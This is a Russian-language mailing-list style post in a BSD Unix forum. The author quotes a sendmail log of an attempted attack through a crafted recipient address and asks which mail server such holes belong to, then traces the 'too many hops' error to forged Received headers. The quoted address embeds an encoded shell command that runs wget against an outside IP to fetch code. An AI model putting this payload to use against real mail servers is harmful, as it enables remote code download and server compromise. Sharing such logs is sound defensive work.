= Сообщение: 9027 из 10753 ===================================== RU.UNIX.BSD = От : Eugene Grosbein 2:5006/1 26 Jun 19 06:28:35 Кому : Eugene Grosbein 26 Jun 19 06:28:35 Тема : Re: to root+${run} FGHI : area://RU.UNIX.BSD?msgid=grosbein.net+aec209f7 На : area://RU.UNIX.BSD?msgid=grosbein.net+1c4fb726 = Кодировка сообщения определена как: IBM866 ================================= ============================================================================== 26 июня 2019, среда, в 06:19 NOVT, Eugene Grosbein написал(а):
EG> sm-mta[2659]: x5PFwKYR002658: SYSERR(root): Too many hops 32 (25 max): EG> from <root@wgg.com> via minecraft.good-gaming.com, to EG> <root+${run{\\x2Fbin\\x2Fsh\\t-c\\t\\x22wget\\x2065.181.120.163\\x2fstfinracu\\x22}}@myhost.net> EG> Кто-нибудь в курсе, что за MTA имеет подобные дыры?
Да, и если кому-то вдруг интересно, отчего too many hops, то это из-за фейковых заголовков Received, которые зачем-то были подделаны в оригинальном письме в количестве 31 штуки:
From: Mail Delivery Subsystem <MAILER-DAEMON@myhost.net> Message-Id: <201906251558.x5PFwLYS002659@myhost.net> To: postmaster@myhost.net MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="x5PFwLYS002659.1561478301/myhost.net" Subject: Postmaster notify: see transcript for details Auto-Submitted: auto-generated (postmaster-notification)
This is a MIME-encapsulated message
--x5PFwLYS002659.1561478301/myhost.net
The original message was received at Tue, 25 Jun 2019 15:58:21 GMT from localhost with id x5PFwLYR002659